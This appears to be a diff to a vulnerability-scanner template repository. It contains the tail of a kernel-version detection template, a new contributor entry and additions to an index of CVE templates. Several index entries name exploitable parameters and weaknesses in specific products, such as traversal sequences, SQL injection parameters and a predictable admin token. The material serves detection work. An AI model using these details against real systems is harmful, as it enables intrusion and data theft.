+        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
+        fi
+      fi
+
+      if [ "$VULNERABLE" -eq 1 ]; then
+        if [ "$AEAD_PRESENT" -eq 1 ]; then
+          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
+        else
+          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
+        fi
+      else
+        echo "NOT_VULNERABLE: kernel $KVER"
+      fi
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "VULNERABLE:"
+
+      - type: word
+        part: response
+        words:
+          - "NOT_VULNERABLE"
+        negative: true
+
+    extractors:
+      - type: regex
+        name: detection_detail
+        part: response
+        regex:
+          - 'VULNERABLE:.*'
+# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
@@ -1519,5 +1519,15 @@
            "website": "https://halilkirazkaya.com",
            "email": "[email protected]"
        }
+    },
+    {
+        "author": "marcialpaulg",
+        "links": {
+            "github": "https://github.com/marcialpaulg",
+            "twitter": "",
+            "linkedin": "https://www.linkedin.com/in/marcialpaulg/",
+            "website": "https://marcialpaulg.com",
+            "email": "[email protected]"
+        }
    }
 ]
@@ -155,7 +155,7 @@
 {"ID":"CVE-2010-3426","Info":{"Name":"Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion","Severity":"high","Description":"A directory traversal vulnerability in jphone.php in the JPhone (com_jphone) component 1.0 Alpha 3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2010/CVE-2010-3426.yaml"}
 {"ID":"CVE-2010-4231","Info":{"Name":"Camtron CMNC-200 IP Camera - Directory Traversal","Severity":"high","Description":"The CMNC-200 IP Camera has a built-in web server that is vulnerable to directory transversal attacks, allowing access to any file on the camera file system.","Classification":{"CVSSScore":"7.8"}},"file_path":"http/cves/2010/CVE-2010-4231.yaml"}
 {"ID":"CVE-2010-4239","Info":{"Name":"Tiki Wiki CMS Groupware 5.2 - Local File Inclusion","Severity":"critical","Description":"Tiki Wiki CMS Groupware 5.2 is susceptible to a local file inclusion vulnerability.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2010/CVE-2010-4239.yaml"}
-{"ID":"CVE-2010-4282","Info":{"Name":"phpShowtime 2.0 - Directory Traversal","Severity":"high","Description":"Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2010/CVE-2010-4282.yaml"}
+{"ID":"CVE-2010-4282","Info":{"Name":"Pandora Fms \u003c 3.1.1 - Directory Traversal","Severity":"high","Description":"Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2010/CVE-2010-4282.yaml"}
 {"ID":"CVE-2010-4617","Info":{"Name":"Joomla! Component JotLoader 2.2.1 - Local File Inclusion","Severity":"medium","Description":"A directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php.","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2010/CVE-2010-4617.yaml"}
 {"ID":"CVE-2010-4719","Info":{"Name":"Joomla! Component JRadio - Local File Inclusion","Severity":"high","Description":"A directory traversal vulnerability in JRadio (com_jradio) component before 1.5.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2010/CVE-2010-4719.yaml"}
 {"ID":"CVE-2010-4769","Info":{"Name":"Joomla! Component Jimtawl 1.0.2 - Local File Inclusion","Severity":"high","Description":"A directory traversal vulnerability in the Jimtawl (com_jimtawl) component 1.0.2 Joomla! allows remote attackers to read arbitrary files and possibly unspecified other impacts via a .. (dot dot) in the task parameter to index.php.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2010/CVE-2010-4769.yaml"}
@@ -2964,6 +2964,7 @@
 {"ID":"CVE-2024-11868","Info":{"Name":"LearnPress \u003c 4.2.7.4 - Course Material - Information Disclosure","Severity":"medium","Description":"LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by insecure handling in class-lp-rest-material-controller.php, letting unauthenticated attackers extract paid course material, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-11868.yaml"}
 {"ID":"CVE-2024-11921","Info":{"Name":"Give WP Plugin \u003c 3.19.0 - Cross-Site Scripting","Severity":"high","Description":"The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"7.1"}},"file_path":"http/cves/2024/CVE-2024-11921.yaml"}
 {"ID":"CVE-2024-11972","Info":{"Name":"Hunk Companion \u003c 1.9.0 - Unauthenticated Plugin Installation","Severity":"critical","Description":"The plugin does not correctly authorize some REST API endpoints, allowing unauthenticated requests to install and activate arbitrary plugins from the WordPress.org repo, including vulnerable plugins that have been closed.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11972.yaml"}
+{"ID":"CVE-2024-12008","Info":{"Name":"W3 Total Cache \u003c 2.8.2 - Log File Exposure","Severity":"medium","Description":"The plugin is vulnerable to Information Exposure through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-12008.yaml"}
 {"ID":"CVE-2024-12025","Info":{"Name":"WordPress Collapsing Categories \u003c= 3.0.8 - SQL Injection","Severity":"high","Description":"Collapsing Categories plugin for WordPress \u003c= 3.0.8 contains a sql_injection caused by insufficient escaping of 'taxonomy' parameter in /wp-json/collapsing-categories/v1/get REST API, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'taxonomy' parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-12025.yaml"}
 {"ID":"CVE-2024-1208","Info":{"Name":"LearnDash LMS \u003c 4.10.3 - Sensitive Information Exposure","Severity":"medium","Description":"The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.2 via API. This makes it possible for unauthenticated attackers to obtain access to quiz questions.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-1208.yaml"}
 {"ID":"CVE-2024-1209","Info":{"Name":"LearnDash LMS \u003c 4.10.2 - Sensitive Information Exposure via assignments","Severity":"medium","Description":"The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-1209.yaml"}
@@ -3162,7 +3163,7 @@
 {"ID":"CVE-2024-31982","Info":{"Name":"XWiki \u003c 4.10.20 - Remote code execution","Severity":"critical","Description":"XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-31982.yaml"}
 {"ID":"CVE-2024-32113","Info":{"Name":"Apache OFBiz Directory Traversal - Remote Code Execution","Severity":"high","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32113.yaml"}
 {"ID":"CVE-2024-32114","Info":{"Name":"Apache ActiveMQ 6.x \u003c 6.1.2 - Broken Access Control","Severity":"high","Description":"Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-32114.yaml"}
-{"ID":"CVE-2024-32128","Info":{"Name":"WordPress Realtyna Organic IDX Plugin \u003c= 4.14.4 - Unauthenticated SQL Injection","Severity":"critical","Description":"The Realtyna Organic IDX plugin plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.14.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32128.yaml"}
+{"ID":"CVE-2024-32128","Info":{"Name":"WordPress Realtyna Organic IDX Plugin \u003c= 4.14.4 - SQL Injection","Severity":"critical","Description":"The Realtyna Organic IDX plugin plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.14.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32128.yaml"}
 {"ID":"CVE-2024-32231","Info":{"Name":"Stash \u003c 0.26.0 - SQL Injection","Severity":"critical","Description":"Stash up to v0.25.1 was discovered to contain a SQL injection vulnerability via the sort parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32231.yaml"}
 {"ID":"CVE-2024-32238","Info":{"Name":"H3C ER8300G2-X - Password Disclosure","Severity":"critical","Description":"H3C ER8300G2-X is vulnerable to Incorrect Access Control. The password for the router's management system can be accessed via the management system page login interface.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32238.yaml"}
 {"ID":"CVE-2024-3231","Info":{"Name":"Popup4Phone \u003c= 1.3.2 - Unauthenticated Stored Cross-Site Scripting","Severity":"medium","Description":"Popup4Phone WordPress plugin through 1.3.2 contains a reflected cross-site scripting caused by unsanitized parameters, letting unauthenticated users execute scripts in admin browsers, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-3231.yaml"}
@@ -3429,6 +3430,7 @@
 {"ID":"CVE-2024-6460","Info":{"Name":"WordPress Grow by Tradedoubler Plugin \u003c 2.0.22 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The Grow by Tradedoubler WordPress plugin through version 2.0.21 is vulnerable to Local File Inclusion via the component parameter. This makes it possible for attackers to include and execute PHP files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-6460.yaml"}
 {"ID":"CVE-2024-6517","Info":{"Name":"Contact Form 7 Math Captcha \u003c= 2.0.1 - Cross-site Scripting","Severity":"medium","Description":"The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-6517.yaml"}
 {"ID":"CVE-2024-6555","Info":{"Name":"WP Popups - Information Disclosure","Severity":"medium","Description":"WP Popups - WordPress Popup builder plugin for WordPress contains a full path disclosure caused by using mobiledetect without access restrictions, letting unauthenticated attackers retrieve server paths, exploit requires no specific conditions.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-6555.yaml"}
+{"ID":"CVE-2024-6569","Info":{"Name":"Campaign Monitor for WordPress - Information Disclosure","Severity":"medium","Description":"Campaign Monitor for WordPress plugin for WordPress versions up to 2.8.15 contains a full path disclosure caused by improper access restriction and enabled display_errors in /forms/views/admin/create.php, letting unauthenticated attackers retrieve server paths, exploit requires display_errors to be enabled.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-6569.yaml"}
 {"ID":"CVE-2024-6586","Info":{"Name":"Lightdash v0.1024.6 - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-6586.yaml"}
 {"ID":"CVE-2024-6587","Info":{"Name":"LiteLLM - Server-Side Request Forgery","Severity":"high","Description":"LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-6587.yaml"}
 {"ID":"CVE-2024-6646","Info":{"Name":"Netgear-WN604 downloadFile.php - Information Disclosure","Severity":"medium","Description":"There is an information leakage vulnerability in the downloadFile.php interface of Netgear WN604. A remote attacker using file authentication can use this vulnerability to obtain the administrator account and password information of the wireless router, causing the router's background to be controlled. The attacker can initiate damage to the wireless network or further threaten it.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-6646.yaml"}
@@ -3555,6 +3557,7 @@
 {"ID":"CVE-2025-13138","Info":{"Name":"WP Directory Kit \u003c= 1.4.3 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'columns_search' parameter of the select_2_ajax() function in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-13138.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
 {"ID":"CVE-2025-13315","Info":{"Name":"Twonky Server 8.5.2 on Linux and Windows - Log File Exposure","Severity":"critical","Description":"Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-13315.yaml"}
+{"ID":"CVE-2025-13339","Info":{"Name":"Hippoo Mobile App for WooCommerce \u003c= 1.7.1 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to and including 1.7.1 via the template_redirect() function. The plugin registers 'hippoo_serve' as a WordPress query variable and uses it to serve PWA files from the pwa/ directory. In vulnerable versions, the user-supplied value is concatenated directly into a filesystem path without any sanitization or directory confinement check, then passed to readfile(). This allows unauthenticated attackers to read arbitrary files on the server by injecting directory traversal sequences (../).\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-13339.yaml"}
 {"ID":"CVE-2025-1338","Info":{"Name":"NUUO Camera \u003c=20250203 - OS Command Injection","Severity":"critical","Description":"NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handle_config.php, letting remote attackers execute arbitrary commands, exploit requires remote access.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-1338.yaml"}
 {"ID":"CVE-2025-13390","Info":{"Name":"WP Directory Kit \u003c= 1.4.4 - Authentication Bypass","Severity":"critical","Description":"The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-13390.yaml"}
 {"ID":"CVE-2025-13418","Info":{"Name":"Responsive Pricing Table \u003c= 5.1.12 - Cross-Site Scripting","Severity":"medium","Description":"The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute when an admin views the pricing table edit page.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2025/CVE-2025-13418.yaml"}
@@ -3608,6 +3611,7 @@
 {"ID":"CVE-2025-25037","Info":{"Name":"Aquatronica Controller System \u003c= 5.1.6 - Information Disclosure","Severity":"high","Description":"Aquatronica Controller System firmware 5.1.6 and earlier and web interface 2.0 and earlier contain an information disclosure vulnerability caused by unauthenticated access to tcp.php endpoint, letting remote attackers retrieve sensitive configuration data including plaintext credentials, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25037.yaml"}
 {"ID":"CVE-2025-25231","Info":{"Name":"Omnissa Workspace ONE UEM - Path Traversal","Severity":"high","Description":"Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25231.yaml"}
 {"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
+{"ID":"CVE-2025-25296","Info":{"Name":"Label Studio \u003c 1.16.0 - Cross-Site Scripting","Severity":"medium","Description":"Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-25296.yaml"}
 {"ID":"CVE-2025-2539","Info":{"Name":"File Away \u003c= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read","Severity":"high","Description":"The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm,  to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2539.yaml"}
 {"ID":"CVE-2025-25570","Info":{"Name":"Vue Vben Admin - Default Credentials","Severity":"critical","Description":"Vue Vben Admin 2.10.1 contains a broken authentication caused by hardcoded credentials in the backend, letting attackers log in without proper authorization, exploit requires access to the login interface.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25570.yaml"}
 {"ID":"CVE-2025-2558","Info":{"Name":"WordPress The Wound Theme \u003c= 0.0.1 - Local File Inclusion","Severity":"high","Description":"The-wound WordPress theme through 0.0.1 contains a local file inclusion caused by insufficient validation of parameters used to generate paths passed to include functions, letting unauthenticated users perform LFI attacks and download arbitrary files from the server.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-2558.yaml"}
@@ -3742,6 +3746,7 @@
 {"ID":"CVE-2025-46554","Info":{"Name":"XWiki REST API - Attachments Disclosure","Severity":"high","Description":"A vulnerability in XWiki's REST API allows unauthenticated users to access attachments list and metadata through the attachments endpoint. This could lead to disclosure of sensitive information stored in attachments metadata.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-46554.yaml"}
 {"ID":"CVE-2025-46565","Info":{"Name":"Vite Dev Server - Information Exposure","Severity":"medium","Description":"Vite is a frontend tooling framework for JavaScript. Before versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-46565.yaml"}
 {"ID":"CVE-2025-46822","Info":{"Name":"Java-springboot-codebase 1.1 - Arbitrary File Read","Severity":"high","Description":"OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-46822.yaml"}
+{"ID":"CVE-2025-47188","Info":{"Name":"Mitel 6000 - OS Command Injection","Severity":"critical","Description":"A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-47188.yaml"}
 {"ID":"CVE-2025-47204","Info":{"Name":"Bootstrap Multiselect \u003c= 1.1.2 - Cross-Site Scripting","Severity":"medium","Description":"A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-47204.yaml"}
 {"ID":"CVE-2025-47423","Info":{"Name":"Personal Weather Station Dashboard 12 - Directory Traversal","Severity":"high","Description":"Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2025/CVE-2025-47423.yaml"}
 {"ID":"CVE-2025-47445","Info":{"Name":"WordPress Eventin (Themewinter) ≤ 4.0.26 - Arbitrary File Download","Severity":"high","Description":"Themewinter Eventin contains a path traversal caused by relative path manipulation, letting attackers access arbitrary files on the server, exploit requires no specific privileges or user interaction.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-47445.yaml"}
@@ -3850,6 +3855,7 @@
 {"ID":"CVE-2025-59716","Info":{"Name":"ownCloud Guests - User Enumeration","Severity":"medium","Description":"ownCloud Guests before 0.12.5 contains an unauthenticated user enumeration vulnerability caused by insufficient validation of the token in showPasswordForm at /apps/guests/register/{email}/{token}, letting unauthenticated attackers enumerate valid guest users, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-59716.yaml"}
 {"ID":"CVE-2025-60188","Info":{"Name":"Atarim \u003c 4.2.2 - Sensitive Information Exposure","Severity":"high","Description":"Vito Peleg Atarim \u003c= 4.2 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve embedded sensitive data remotely, exploit requires no special privileges.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-60188.yaml"}
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
+{"ID":"CVE-2025-61224","Info":{"Name":"DokuWiki \u003c= 2025-05-14a Librarian - Reflected Cross-Site Scripting","Severity":"medium","Description":"DokuWiki 2025-05-14a 'Librarian' contains a stored XSS caused by improper sanitization of the 'q' parameter, letting remote attackers execute arbitrary scripts, exploit requires no special privileges.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-61224.yaml"}
 {"ID":"CVE-2025-61666","Info":{"Name":"Traccar(Windows) 6.1- 6.8.1 - Local File Inclusion","Severity":"high","Description":"Traccar 5.8-6.0 (non-default installs with web.override set) and 6.1-6.8.1 (default installs) contain a local file inclusion vulnerability caused by enabled web override configuration, letting unauthenticated attackers leak arbitrary files including passwords, exploit requires local access.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61666.yaml"}
 {"ID":"CVE-2025-6174","Info":{"Name":"WordPress Qwizcards \u003c 3.95 - Cross-Site Scripting (Reflected)","Severity":"medium","Description":"The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the \"theme_stylesheet\" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-6174.yaml"}
 {"ID":"CVE-2025-61757","Info":{"Name":"Oracle Identity Manager REST WebServices - Authentication Bypass","Severity":"critical","Description":"Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-61757.yaml"}
@@ -3913,6 +3919,8 @@
 {"ID":"CVE-2026-0829","Info":{"Name":"Frontend File Manager Plugin \u003c= 23.5 - Unauthenticated Arbitrary Email Sending","Severity":"high","Description":"Frontend File Manager Plugin WordPress plugin through 23.5 contains an open relay and unauthorized file access vulnerability caused by lack of authentication and security checks, letting unauthenticated attackers send emails and access files, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-0829.yaml"}
 {"ID":"CVE-2026-0926","Info":{"Name":"Prodigy Commerce \u003c= 3.3.0 - Local File Inclusion","Severity":"critical","Description":"Prodigy Commerce WordPress plugin \u003c= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-0926.yaml"}
 {"ID":"CVE-2026-10520","Info":{"Name":"Ivanti Sentry - OS Command Injection","Severity":"critical","Description":"An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated user to achieve root-level remote code execution\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-10520.yaml"}
+{"ID":"CVE-2026-10580","Info":{"Name":"Hippoo Mobile App for WooCommerce \u003c= 1.9.4 - Authentication Bypass to Admin Account Takeover","Severity":"critical","Description":"Hippoo Mobile App for WooCommerce WordPress plugin \u003c= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-10580.yaml"}
